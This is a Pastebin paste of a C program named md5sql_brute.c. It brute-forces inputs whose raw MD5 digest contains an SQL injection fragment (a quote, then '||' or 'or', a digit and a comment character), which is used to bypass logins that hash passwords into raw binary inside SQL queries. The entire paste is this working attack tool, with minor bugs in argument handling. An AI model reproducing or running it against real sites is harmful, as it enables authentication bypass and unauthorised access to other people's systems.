Advertisement
Guest User

md5sql_brute.c

a guest
Sep 10th, 2010
1,078
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.31 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <ctype.h>
  5. #include <openssl/md5.h>
  6.  
  7. int check_result(char *result)
  8. {
  9.     int i = 0;
  10.     char c1,c2;
  11.     while (i < 11) {
  12.         if (result[i++] == '\'') {
  13.             while (isspace(result[i]))
  14.                 i++;
  15.  
  16.             c1 = result[i++];
  17.             c2 = result[i++];
  18.  
  19.             if ((c1 == '|' && c2 == '|') || ((c1 == 'o' || c1 == 'O') && (c2 == 'r' || c2 == 'R'))) {
  20.                 if (c2 != '|') {
  21.                     // need at least one space
  22.                     if (!isspace(result[i++]))
  23.                         return 0;
  24.                 }
  25.  
  26.                 while (isspace(result[i]))
  27.                     i++;
  28.  
  29.                 if (!isdigit(result[i++]))
  30.                     return 0;
  31.  
  32.                 if (result[i] != '#')
  33.                     return 0;
  34.  
  35.                 return 1;
  36.             }
  37.  
  38.             return 0;
  39.         }
  40.     }
  41.    
  42.     return 0;
  43. }
  44.  
  45. void try_bruteforce(int min_len, int max_len, int start, int stop)
  46. {
  47.     unsigned char password[128];
  48.     int i, j;
  49.     int len, chkPos;
  50.     MD5_CTX md5Ctx;
  51.     char result[17];
  52.  
  53.     len = min_len;
  54.     memset(password, 0, 128);
  55.  
  56.     // set password first time
  57.     for (i = 0; i < len; i++)
  58.         password[i] = 0;
  59.     password[len - 1] = start;
  60.     chkPos = max_len - 1;
  61.  
  62.     result[16] = 0;
  63.     while (len <= max_len) {
  64.         // try decrypt with password here
  65.         MD5_Init(&md5Ctx);
  66.         MD5_Update(&md5Ctx, password, len);
  67.         MD5_Final((unsigned char*) result, &md5Ctx);
  68.  
  69.         if (check_result(result)) {
  70.             printf("password: ");
  71.             for (j = 0; j < len; j++)
  72.                 printf("%02x", password[j]);
  73.             printf("\n");
  74.             printf("password: ");
  75.             for (j = 0; j < len; j++)
  76.                 printf("%%%02x", password[j]);
  77.             printf("\n");
  78.             printf("result: ");
  79.             for (j = 0; j < 16; j++)
  80.                 printf("%02x", (unsigned char)result[j]);
  81.             printf("\n");
  82.             printf("result: %s\n", result);
  83.             return;
  84.         }
  85.  
  86.         for (i = 0; i < len; i++) {
  87.             if (++password[i])
  88.                 break;
  89.         }
  90.         if (i == chkPos) {
  91.             printf("chkPos value: %d\n", password[i]);
  92.             if ((int)password[i] == stop)
  93.                 return;
  94.         }
  95.         if (i == len) {
  96.             password[i] = 1;
  97.             len++;
  98.             printf("now len is: %d\n", len);
  99.         }
  100.     }
  101. }
  102.  
  103. int main(int argc, char* argv[])
  104. {
  105.     int min = 4;
  106.     int max = 4;
  107.     int start = 0;
  108.     int stop = 256;
  109.  
  110.     if (argc < 3) {
  111.         printf("Usage: %s min max [start=0] [stop=256]");
  112.         return 1;
  113.     }
  114.  
  115.     min = atoi(argv[1]);
  116.     max = atoi(argv[2]);
  117.     if (argc > 3)
  118.         start = atoi(argv[3]);
  119.     if (argc > 4)
  120.         start = atoi(argv[4]);
  121.  
  122.     try_bruteforce(min, max, start, stop);
  123.     return 0;
  124. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement